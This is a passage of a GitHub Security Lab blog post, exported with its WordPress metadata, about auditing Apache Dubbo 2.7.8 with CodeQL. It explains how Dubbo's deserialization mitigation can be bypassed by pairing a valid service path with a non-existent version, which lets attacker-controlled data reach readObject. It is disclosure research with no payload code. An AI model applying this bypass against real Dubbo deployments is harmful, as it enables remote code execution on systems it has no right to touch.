https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image32.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image32.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image32.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image32.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>This check will guarantee that the serialization payload will be smaller than 50 bytes. Even though there may be DoS payloads that could fit this size, enabling JEP 290 should account for them. Therefore, as long as the users don&rsquo;t change this value to something larger than 250 bytes, this check will effectively protect all the GHSL-2021-036 variants flowing through <code>decodeEventData<\/code><\/p>\n<h3 id=\"decodeablerpcinvocation-decode\" id=\"decodeablerpcinvocation-decode\" ><a class=\"heading-link\" href=\"#decodeablerpcinvocation-decode\">DecodeableRpcInvocation.decode<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h3>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image13-2.png?w=1024&#038;resize=1024%2C567\" alt=\"DecodeableRpcInvocation.decode method\" width=\"1024\" height=\"567\" class=\"aligncenter size-large wp-image-81314 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image13-2.png?w=1822 1822w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image13-2.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image13-2.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image13-2.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image13-2.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>The bulk of this check will be handled by <code>CodecSupport.checkSerialization()<\/code><\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image16-2.png?w=1024&#038;resize=1024%2C373\" alt=\"checkSerialization method\" width=\"1024\" height=\"373\" class=\"aligncenter size-large wp-image-81315 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image16-2.png?w=1999 1999w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image16-2.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image16-2.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image16-2.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image16-2.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>As you can see in the first screenshot, this method will be called with a service path and version provided by the attacker (<code>String path = in.readUTF()<\/code> and <code>String version = in.readUTF()<\/code> respectively) which are then used to extract information about the service and the method being accessed (<code>ProviderModel providerModel = repository.lookupExportedServiceWithoutGroup(path + \":\" + version);<\/code>). The goal of this check is to retrieve the server-side defined serialization type. However, if an attacker provides a non-existent path\/version pair, the <code>lookupExportedServiceWithoutGroup()<\/code> call will return a <code>null<\/code> provider model that will make the application take the <code>logger.warn<\/code> branch and in turn just print an error message. However, no exception will be thrown and therefore the request will continue to execute normally!<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image25.png?w=1024&#038;resize=1024%2C723\" alt=\"mitigation bypass\" width=\"1024\" height=\"723\" class=\"aligncenter size-large wp-image-81316 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image25.png?w=1928 1928w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image25.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image25.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image25.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image25.png?w=1536 1536w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image25.png?w=515 515w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>Even if I&rsquo;m able to bypass the <code>checkSerialization<\/code> control, before I get to the interesting <code>ObjectInput.readObject()<\/code> in line 155 that deserializes the arguments to the remote method invocation, the <code>repository.lookupService(path)<\/code> method will check that I&rsquo;m accessing a valid service in line 136. If I provide an invalid path to bypass the <code>checkSerialization<\/code> control then I&rsquo;ll make the <code>lookupService()<\/code> call in line 136 return a <code>null<\/code> value which, in turn, will not get the <code>pts<\/code> variable assigned, and line 146 will throw an exception that will prevent the deserialization of the invocation arguments&mdash;or will it?<\/p>\n<p>There is a slight but important difference between the <code>lookupService(path)<\/code> method used here and the <code>lookupExportedServiceWithoutGroup(path + \":\" + version)<\/code> method used within <code>checkSerialization<\/code>. The former only looks up a service by its path, while the latter looks up a service by its path <em>and<\/em> version. Therefore, an attacker can provide:<\/p>\n<ul>\n<li>Path: <code>org.apache.dubbo.samples.basic.api.DemoService<\/code> (or any existing service exposed by the provider)<\/li>\n<li>Version: <code>6.6.6<\/code> (or any other non-existent version)<\/li>\n<\/ul>\n<p>These values will cause <code>lookupExportedServiceWithoutGroup()<\/code> to fail, allowing the attacker to bypass the <code>checkSerialization()<\/code> security control. But the <code>lookupService()<\/code> call will succeed and therefore the attacker will be able to reach the vulnerable code.<\/p>\n<h2 id=\"conclusion\" id=\"conclusion\" ><a class=\"heading-link\" href=\"#conclusion\">Conclusion<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p>CodeQL is commonly used to detect known vulnerability patterns and their associated variants in code. CodeQL queries are usually written to find very specific vulnerabilities for variant analysis purposes and are often integrated into CI\/CD pipelines to automatically detect bugs. However, CodeQL can also serve as an interactive SAST Swiss army knife to support more general code auditing workflows. Since CodeQL makes a program&rsquo;s AST and dataflows queryable, it has the ability to effectively answer many of the general questions that commonly arise when auditing code, such as <em>which APIs are tainted by user-controlled input?<\/em>, <em>which integer arithmetic may be influenced by network-controlled data?<\/em>, and <em>which parts of the code have a high bug density?<\/em><\/p>\n<p>By using CodeQL as an audit oracle, I was able to focus my audit efforts on critical and sensitive parts of the application and speed up my audit by providing quick and complete answers for any inquiry I could have. Not just that, while I was analyzing other issues, I was able to stumble upon new &ldquo;smelly&rdquo; parts of the code that led to new findings just by looking at what was pointed out by CodeQL. In addition, features such as the reverse partial data flow proved very useful to hoist known sinks and to help me understand how those sinks could be exercised. CodeQL is an auditor&rsquo;s best friend.<\/p>\n<p>Stay secure!<\/p>\n<\/body><\/html>\n","protected":false},"excerpt":{"rendered":"<p>During an audit of Apache Dubbo v2.7.8 source code, I found multiple vulnerabilities enabling attackers to compromise and run arbitrary system commands on both Dubbo consumers and providers. In this blog post I detailed how I leveraged CodeQL as an audit oracle to help me find these issues.<\/p>\n","protected":false},"author":1944,"featured_media":76158,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_gh_post_show_toc":"yes","_gh_post_is_no_robots":"no","_gh_post_is_featured":"no","_gh_post_is_excluded":"no","_gh_post_is_unlisted":"no","_gh_post_related_link_1":"","_gh_post_related_link_2":"","_gh_post_related_link_3":"","_gh_post_sq_img":"","_gh_post_sq_img_id":"","_gh_post_cta_title":"","_gh_post_cta_text":"","_gh_post_cta_link":"","_gh_post_cta_button":"Click Here to Learn More","_gh_post_recirc_hide":"no","_gh_post_recirc_col_1":"78957","_gh_post_recirc_col_2":"78959","_gh_post_recirc_col_3":"78961","_gh_post_recirc_col_4":"77524","_featured_video":"","_gh_post_additional_query_params":"","_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"{title}\n\n{excerpt}\n\n{url}","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2},"_wpas_customize_per_network":false,"jetpack_post_was_ever_published":false,"_links_to":"","_links_to_target":""},"categories":[91,3336],"tags":[1915],"coauthors":[2295],"class_list":["post-81281","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-security","category-vulnerability-research","tag-github-security-lab"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v27.9 (Yoast SEO v27.9) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>Apache Dubbo: All roads lead to RCE - The GitHub Blog<\/title>\n<meta name=\"description\" content=\"During an audit of Apache Dubbo v2.7.8 source code, I found multiple vulnerabilities enabling attackers to compromise and run arbitrary system commands on both Dubbo consumers and providers. In this blog post I detailed how I leveraged CodeQL as an audit oracle to help me find these issues.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/github.blog\/security\/vulnerability-research\/apache-dubbo-all-roads-lead-to-rce\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Apache Dubbo: All roads lead to RCE\" \/>\n<meta property=\"og:description\" content=\"During an audit of Apache Dubbo v2.7.8 source code, I found multiple vulnerabilities enabling attackers to compromise and run arbitrary system commands on both Dubbo consumers and providers. In this blog post I detailed how I leveraged CodeQL as an audit oracle to help me find these issues.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/github.blog\/security\/vulnerability-research\/apache-dubbo-all-roads-lead-to-rce\/\" \/>\n<meta property=\"og:site_name\" content=\"The GitHub Blog\" \/>\n<meta property=\"article:published_time\" content=\"2021-09-21T13:51:54+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-11-21T15:23:14+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/01\/Security-DarkMode-3-1.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1200\" \/>\n\t<meta property=\"og:image:height\" content=\"630\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Alvaro Munoz\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Alvaro Munoz\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"24 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/apache-dubbo-all-roads-lead-to-rce\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/apache-dubbo-all-roads-lead-to-rce\\\/\"},\"author\":{\"name\":\"Alvaro Munoz\",\"@id\":\"https:\\\/\\\/github.blog\\\/#\\\/schema\\\/person\\\/93f27f032374b47efe99a36b2042f0ba\"},\"headline\":\"Apache Dubbo: All roads lead to RCE\",\"datePublished\":\"2021-09-21T13:51:54+00:00\",\"dateModified\":\"2024-11-21T15:23:14+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/apache-dubbo-all-roads-lead-to-rce\\\/\"},\"wordCount\":5369,\"image\":{\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/apache-dubbo-all-roads-lead-to-rce\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/github.blog\\\/wp-content\\\/uploads\\\/2024\\\/01\\\/Security-DarkMode-3-1.png?fit=1200%2C630\",\"keywords\":[\"GitHub Security Lab\"],\"articleSection\":[\"Security\",\"Vulnerability research\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/apache-dubbo-all-roads-lead-to-rce\\\/\",\"url\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/apache-dubbo-all-roads-lead-to-rce\\\/\",\"name\":\"Apache Dubbo: All roads lead to RCE - The GitHub Blog\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/github.blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/apache-dubbo-all-roads-lead-to-rce\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/apache-dubbo-all-roads-lead-to-rce\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/github.blog\\\/wp-content\\\/uploads\\\/2024\\\/01\\\/Security-DarkMode-3-1.png?fit=1200%2C630\",\"datePublished\":\"2021-09-21T13:51:54+00:00\",\"dateModified\":\"2024-11-21T15:23:14+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/github.blog\\\/#\\\/schema\\\/person\\\/93f27f032374b47efe99a36b2042f0ba\"},\"description\":\"During an audit of Apache Dubbo v2.7.8 source code, I found multiple vulnerabilities enabling attackers to compromise and run arbitrary system commands on both Dubbo consumers and providers. In this blog post I detailed how I leveraged CodeQL as an audit oracle to help me find these issues.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/apache-dubbo-all-roads-lead-to-rce\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/apache-dubbo-all-roads-lead-to-rce\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/apache-dubbo-all-roads-lead-to-rce\\\/#primaryimage\",\"url\":\"https:\\\/\\\/github.blog\\\/wp-content\\\/uploads\\\/2024\\\/01\\\/Security-DarkMode-3-1.png?fit=1200%2C630\",\"contentUrl\":\"https:\\\/\\\/github.blog\\\/wp-content\\\/uploads\\\/2024\\\/01\\\/Security-DarkMode-3-1.png?fit=1200%2C630\",\"width\":1200,\"height\":630},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/apache-dubbo-all-roads-lead-to-rce\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/github.blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Security\",\"item\":\"https:\\\/\\\/github.blog\\\/security\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Vulnerability research\",\"item\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/\"},{\"@type\":\"ListItem\",\"position\":4,\"name\":\"Apache Dubbo: All roads lead to RCE\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/github.blog\\\/#website\",\"url\":\"https:\\\/\\\/github.blog\\\/\",\"name\":\"The GitHub Blog\",\"description\":\"Updates, ideas, and inspiration from GitHub to help developers build and design software.\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/github.blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/github.blog\\\/#\\\/schema\\\/person\\\/93f27f032374b47efe99a36b2042f0ba\",\"name\":\"Alvaro Munoz\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/6f3740a3ba363ca759bf587f65a7bf5e261281b2971d9c6cab7776c290a8875a?s=96&d=mm&r=g44dad659a0dd33f62539c40470be5fdb\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/6f3740a3ba363ca759bf587f65a7bf5e261281b2971d9c6cab7776c290a8875a?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/6f3740a3ba363ca759bf587f65a7bf5e261281b2971d9c6cab7776c290a8875a?s=96&d=mm&r=g\",\"caption\":\"Alvaro Munoz\"},\"url\":\"https:\\\/\\\/github.blog\\\/author\\\/pwntester\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Apache Dubbo: All roads lead to RCE - The GitHub Blog","description":"During an audit of Apache Dubbo v2.7.8 source code, I found multiple vulnerabilities enabling attackers to compromise and run arbitrary system commands on both Dubbo consumers and providers. In this blog post I detailed how I leveraged CodeQL as an audit oracle to help me find these issues.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/github.blog\/security\/vulnerability-research\/apache-dubbo-all-roads-lead-to-rce\/","og_locale":"en_US","og_type":"article","og_title":"Apache Dubbo: All roads lead to RCE","og_description":"During an audit of Apache Dubbo v2.7.8 source code, I found multiple vulnerabilities enabling attackers to compromise and run arbitrary system commands on both Dubbo consumers and providers. In this blog post I detailed how I leveraged CodeQL as an audit oracle to help me find these issues.","og_url":"https:\/\/github.blog\/security\/vulnerability-research\/apache-dubbo-all-roads-lead-to-rce\/","og_site_name":"The GitHub Blog","article_published_time":"2021-09-21T13:51:54+00:00","article_modified_time":"2024-11-21T15:23:14+00:00","og_image":[{"width":1200,"height":630,"url":"https:\/\/github.blog\/wp-content\/uploads\/2024\/01\/Security-DarkMode-3-1.png","type":"image\/png"}],"author":"Alvaro Munoz","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Alvaro Munoz","Est. reading time":"24 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/github.blog\/security\/vulnerability-research\/apache-dubbo-all-roads-lead-to-rce\/#article","isPartOf":{"@id":"https:\/\/github.blog\/security\/vulnerability-research\/apache-dubbo-all-roads-lead-to-rce\/"},"author":{"name":"Alvaro Munoz","@id":"https:\/\/github.blog\/#\/schema\/person\/93f27f032374b47efe99a36b2042f0ba"},"headline":"Apache Dubbo: All roads lead to RCE","datePublished":"2021-09-21T13:51:54+00:00","dateModified":"2024-11-21T15:23:14+00:00","mainEntityOfPage":{"@id":"https:\/\/github.blog\/security\/vulnerability-research\/apache-dubbo-all-roads-lead-to-rce\/"},"wordCount":5369,"image":{"@id":"https:\/\/github.blog\/security\/vulnerability-research\/apache-dubbo-all-roads-lead-to-rce\/#primaryimage"},"thumbnailUrl":"https:\/\/github.blog\/wp-content\/uploads\/2024\/01\/Security-DarkMode-3-1.png?fit=1200%2C630","keywords":["GitHub Security Lab"],"articleSection":["Security","Vulnerability research"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/github.blog\/security\/vulnerability-research\/apache-dubbo-all-roads-lead-to-rce\/","url":"https:\/\/github.blog\/security\/vulnerability-research\/apache-dubbo-all-roads-lead-to-rce\/","name":"Apache Dubbo: All roads lead to RCE - The GitHub Blog","isPartOf":{"@id":"https:\/\/github.blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/github.blog\/security\/vulnerability-research\/apache-dubbo-all-roads-lead-to-rce\/#primaryimage"},"image":{"@id":"https:\/\/github.blog\/security\/vulnerability-research\/apache-dubbo-all-roads-lead-to-rce\/#primaryimage"},"thumbnailUrl":"https:\/\/github.blog\/wp-content\/uploads\/2024\/01\/Security-DarkMode-3-1.png?fit=1200%2C630","datePublished":"2021-09-21T13:51:54+00:00","dateModified":"2024-11-21T15:23:14+00:00","author":{"@id":"https:\/\/github.blog\/#\/schema\/person\/93f27f032374b47efe99a36b2042f0ba"},"description":"During an audit of Apache Dubbo v2.7.8 source code, I found multiple vulnerabilities enabling attackers to compromise and run arbitrary system commands on both Dubbo consumers and providers. In this blog post I detailed how I leveraged CodeQL as an audit oracle to help me find these issues.","breadcrumb":{"@id":"https:\/\/github.blog\/security\/vulnerability-research\/apache-dubbo-all-roads-lead-to-rce\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/github.blog\/security\/vulnerability-research\/apache-dubbo-all-roads-lead-to-rce\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/github.blog\/security\/vulnerability-research\/apache-dubbo-all-roads-lead-to-rce\/#primaryimage","url":"https:\/\/github.blog\/wp-content\/uploads\/2024\/01\/Security-DarkMode-3-1.png?fit=1200%2C630","contentUrl":"https:\/\/github.blog\/wp-content\/uploads\/2024\/01\/Security-DarkMode-3-1.png?fit=1200%2C630","width":1200,"height":630},{"@type":"BreadcrumbList","@id":"https:\/\/github.blog\/security\/vulnerability-research\/apache-dubbo-all-roads-lead-to-rce\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/github.blog\/"},{"@type":"ListItem","position":2,"name":"Security","item":"https:\/\/github.blog\/security\/"},{"@type":"ListItem","position":3,"name":"Vulnerability research","item":"https:\/\/github.blog\/security\/vulnerability-research\/"},{"@type":"ListItem","position":4,"name":"Apache Dubbo: All roads lead to RCE"}]},{"@type":"WebSite","@id":"https:\/\/github.blog\/#website","url":"https:\/\/github.blog\/","name":"The GitHub Blog","description":"Updates, ideas, and inspiration from GitHub to help developers build and design software.","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/github.blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/github.blog\/#\/schema\/person\/93f27f032374b47efe99a36b2042f0ba","name":"Alvaro Munoz","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/6f3740a3ba363ca759bf587f65a7bf5e261281b2971d9c6cab7776c290a8875a?s=96&d=mm&r=g44dad659a0dd33f62539c40470be5fdb","url":"https:\/\/secure.gravatar.com\/avatar\/6f3740a3ba363ca759bf587f65a7bf5e261281b2971d9c6cab7776c290a8875a?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/6f3740a3ba363ca759bf587f65a7bf5e261281b2971d9c6cab7776c290a8875a?s=96&d=mm&r=g","caption":"Alvaro Munoz"},"url":"https:\/\/github.blog\/author\/pwntester\/"}]}},"jetpack_publicize_connections":[],"jetpack_featured_media_url":"https:\/\/github.blog\/wp-content\/uploads\/2024\/01\/Security-DarkMode-3-1.png?fit=1200%2C630","jetpack_shortlink":"https:\/\/wp.me\/pamS32-l8Z","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/posts\/81281","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/users\/1944"}],"replies":[{"embeddable":true,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/comments?post=81281"}],"version-history":[{"count":4,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/posts\/81281\/revisions"}],"predecessor-version":[{"id":81320,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/posts\/81281\/revisions\/81320"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/media\/76158"}],"wp:attachment":[{"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/media?parent=81281"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/categories?post=81281"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/tags?post=81281"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/coauthors?post=81281"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}